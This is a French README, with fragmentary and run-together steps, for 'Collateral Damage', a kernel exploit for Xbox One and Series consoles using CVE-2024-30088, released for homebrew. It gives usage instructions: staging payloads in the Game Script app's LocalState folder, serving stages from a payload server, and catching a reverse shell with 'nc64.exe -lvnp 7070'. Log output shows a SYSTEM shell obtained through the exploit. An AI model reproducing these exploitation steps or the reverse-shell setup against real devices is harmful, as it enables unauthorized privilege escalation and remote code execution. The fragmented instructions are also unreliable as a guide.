
Exploit du noyau pour Xbox SystemOS utilisant CVE-2024-30088
Collateral Damage est un exploit noyau pour Xbox SystemOS utilisant CVE-2024-30088. Il cible les consoles Xbox One et Xbox Series fonctionnant avec les versions du noyau 25398.4478, 25398.4908 et 25398.4909. Le point d'entrée initial se fait via l'application Game Script UWP.
Les payloads de première étape, le chargeur PE et le chargeur réseau sont fournis par Solstice.
Cet exploit a été développé par Emma Kirkpatrick (découverte et exploitation de la vulnérabilité) et Lander Brandt (Solstice)
Pour placer le payload localement sur la console Xbox, un explorateur de confiance totale comme Adv File Explorer (FullTrust) est recommandé. Alternativement, le payload initial peut être fourni via un simulateur de clavier USB (rubber ducky, etc.) et les étapes suivantes du payload peuvent ensuite être chargées sur le réseau.
L'exemple de shell inversé fourni ici nécessite que votre console soit connectée à un réseau. Lors de la connexion de votre console à un réseau, faites très attention à éviter de vous connecter à Internet et de mettre à jour. Essayez de bloquer la connectivité à Xbox LIVE autant que possible, au moins en configurant vos DNS sur des serveurs invalides.
Cet exploit n'est pas totalement fiable. Il repose sur un canal auxiliaire du CPU ainsi que sur une condition de concurrence, tous deux pouvant échouer. En cas d'échec, l'exploit peut vous avertir de l'échec via une sortie réseau, ou la console elle-même peut planter et redémarrer.
gamescript_autosave_network.txt ou gamescript_autosave.txt pour y mettre l'IP locale de votre PC.
gamescript_autosave.txt, stage2.bin et run.exe dans le répertoire LocalState de l'application Game Script sur votre console (Q:\Users\UserMgr0\AppData\Local\Packages\27878ConstantineTarasenko.458004FD2C47C_c8b3w9r5va522\LocalState\)gamescript_autosave_network.txt dans la fenêtre GameScript. Servez stage2.bin et run.exe via payload_server_win_x64.exe --stage2 stage2.bin --run run.exelistening on [any] 7070 ...
connect to [192.168.0.61] from (UNKNOWN) [192.168.0.130] 49665
Collateral Damage - @carrot_c4k3 & @landaire (exploits.forsale)
Build number: 25398.4478
Attempting to find kernel base...
Found likely kernel base: FFFFF80AF9800000
Attempting exploit...
Exploit succeeded! Running payload!
Microsoft Windows [Version 10.0.25398.4478]
Copyright (c) Microsoft Corporation. All rights reserved.
S:\>
Beaucoup de travail supplémentaire est nécessaire pour en faire un outil convivial pour charger du homebrew sur la Xbox, mais j'espère que cela constitue un bon point de départ :) Si vous souhaitez expérimenter en exécutant du code en tant que SYSTEM, vous pouvez placer votre code dans la fonction post_exploit de post_exploit.c.
Il y a encore beaucoup à faire, mais comme la partie noyau est terminée, je voulais la partager avec la communauté pour que les développeurs puissent commencer à explorer avec les privilèges SYSTEM. Voici quelques éléments que j'espère encore ajouter à l'avenir :
D'autres idées sont les bienvenues :)
merci à tous ceux qui m'ont aidé à réfléchir et qui ont partagé leurs connaissances et leur temps avec moi tout au long de ce projet !!! quelques-uns à qui je souhaite exprimer ma gratitude :
nc64.exe -lvnp 7070